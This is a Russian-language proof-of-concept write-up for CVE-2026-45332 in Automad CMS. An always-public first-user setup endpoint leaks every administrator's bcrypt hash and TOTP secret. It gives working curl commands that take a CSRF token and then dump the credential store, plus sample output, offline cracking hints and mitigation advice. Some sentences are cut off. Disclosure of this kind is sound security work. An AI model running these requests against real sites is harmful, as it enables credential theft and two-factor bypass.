
Эксплойт доказательства концепции для CVE-2026-45332, нарушенный контроль доступа в Automad CMS, позволяющий неаутентифицированный дамп bcrypt-хешей администратора и TOTP-секретов.
Доказательство концепции для CVE-2026-45332, уязвимости нарушения контроля доступа в Automad CMS, которая позволяет любому неаутентифицированному атакующему извлечь bcrypt-хэш пароля и TOTP-секрет всех учётных записей администраторов через конечную точку настройки, которая никогда не отключается после начальной конфигурации.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| Продукт | Automad CMS (composer automad/automad) |
| Затрагиваемые версии | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| Исправлено в | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function) |
| Исследователь | Lorenzo Camilli |
Automad — это файловая PHP CMS. Конечная точка настройки, отвечающая за создание первой учётной записи администратора, /_api/user-collection/create-first-user, зарегистрирована как постоянно публичный маршрут API. Нет никакой защиты, которая бы закрыла его после завершения начальной конфигурации.
На работающем, полностью настроенном экземпляре неаутентифицированный POST к этой конечной точке загружает всю базу пользователей с диска и возвращает её в сериализованном виде в теле JSON-ответа, включая:
2.0.0-beta.27)Не требуется предварительной учётной записи, учётных данных или особого сетевого положения.
Маршрут помещён внутрь массива $publicAPIRoutes в automad/src/server/Routes.php и регистрируется при условии AM_PAGE_DASHBOARD, константы, которая вычисляется в строку '/dashboard' и поэтому всегда истинна. Маршрут остаётся зарегистрированным на каждой установке, включая те, где настройка завершена.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() включает приватные поля passwordHash и totpSecret, поэтому они оказываются встроенными в сериализованный вывод, который возвращается вызывающему.
Полное техническое описание: PoC.md.
Конечная точка требует действительный CSRF-токен и сессионный cookie Automad, оба свободно доступны на публичной странице входа. Воспроизведение:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
Ответ содержит bcrypt-хэш и TOTP-секрет каждого зарегистрированного администратора, а также абсолютный путь к конфигурации:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
Полученные bcrypt-хэши затем можно взломать в офлайн-режиме (Hashcat / John). На 2.0.0-beta.27 утёкший TOTP-секрет полностью обходит двухфакторную аутентификацию.
Неаутентифицированный удалённый атакующий может:
2.0.0-beta.27).Обновитесь до Automad 2.0.0-beta.28 или новее, где конечная точка ограничена после завершения начальной настройки. В качестве временной меры заблокируйте запросы к /_api/user-collection/create-first-user на веб-сервере или WAF.